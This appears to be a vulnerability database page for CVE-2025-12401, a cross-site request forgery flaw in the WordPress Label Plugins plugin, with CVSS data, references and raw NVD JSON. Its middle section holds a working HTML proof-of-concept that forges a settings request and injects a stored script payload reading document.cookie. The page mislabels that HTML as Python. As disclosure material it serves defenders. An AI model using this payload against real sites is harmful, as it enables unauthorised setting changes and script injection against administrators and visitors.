CVE-2025-12401

Description

The Label Plugins plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.5. This is due to missing or incorrect nonce validation on the label_plugins_options() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Label Plugins插件 <= 0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-12401 -->
<!-- This PoC demonstrates how an attacker can inject malicious JavaScript -->
<!-- via CSRF attack on Label Plugins plugin < = 0.5 -->

<!DOCTYPE html>
<html>
<head>
    <title>CSRF Attack PoC - CVE-2025-12401</title>
</head>
<body>
    <h1>CSRF PoC for Label Plugins Plugin</h1>
    <p>Click the button below to trigger the attack:</p>
    
    <form id="csrfForm" action="http://target-site/wp-admin/admin-post.php" method="POST">
        <!-- Required WordPress form fields -->
        <input type="hidden" name="action" value="label_plugins_options">
        
        <!-- Missing or incorrect nonce validation - this is the vulnerability -->
        <!-- Attacker can forge requests without valid nonce -->
        
        <!-- Malicious JavaScript payload injected via settings -->
        <input type="hidden" name="label_plugins_setting" value="<script>alert(document.cookie)</script>">
        
        <!-- Additional malicious parameters -->
        <input type="hidden" name="submit" value="Save Settings">
    </form>
    
    <button type="submit" form="csrfForm">Click me (Attack Trigger)</button>
    
    <script>
        // Auto-submit form when page loads (for demonstration)
        // document.getElementById('csrfForm').submit();
        
        // More sophisticated attack could use XMLHttpRequest:
        /*
        function executeAttack() {
            const xhr = new XMLHttpRequest();
            xhr.open('POST', 'http://target-site/wp-admin/admin-post.php', true);
            xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
            xhr.withCredentials = true;
            
            const params = 'action=label_plugins_options&' +
                          'label_plugins_setting=<script>malicious code here</script>&' +
                          'submit=Save+Settings';
            
            xhr.send(params);
        }
        */
    </script>
    
    <p><strong>Note:</strong> This PoC is for educational and security testing purposes only.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12401
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12401
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12401/
[4] VulDB https://vuldb.com/cve/CVE-2025-12401
[5] https://plugins.trac.wordpress.org/browser/label-plugins/tags/0.5/lp_admin_page.php#L35
[6] https://plugins.trac.wordpress.org/browser/label-plugins/tags/0.5/lp_admin_page.php#L37
[7] https://plugins.trac.wordpress.org/browser/label-plugins/tags/0.5/lp_admin_page.php#L70
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/843cc5e7-7820-409c-8de0-bd70245811cd?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12401", "sourceIdentifier": "[email protected]", "published": "2025-11-04T04:15:37.593", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Label Plugins plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.5. This is due to missing or incorrect nonce validation on the label_plugins_options() function. This makes it possible for unauthenticated attackers to update settings and inject malicious web scripts via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/label-plugins/tags/0.5/lp_admin_page.php#L35", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/label-plugins/tags/0.5/lp_admin_page.php#L37", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/label-plugins/tags/0.5/lp_admin_page.php#L70", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/843cc5e7-7820-409c-8de0-bd70245811cd?source=cve", "source": "[email protected]"}]}}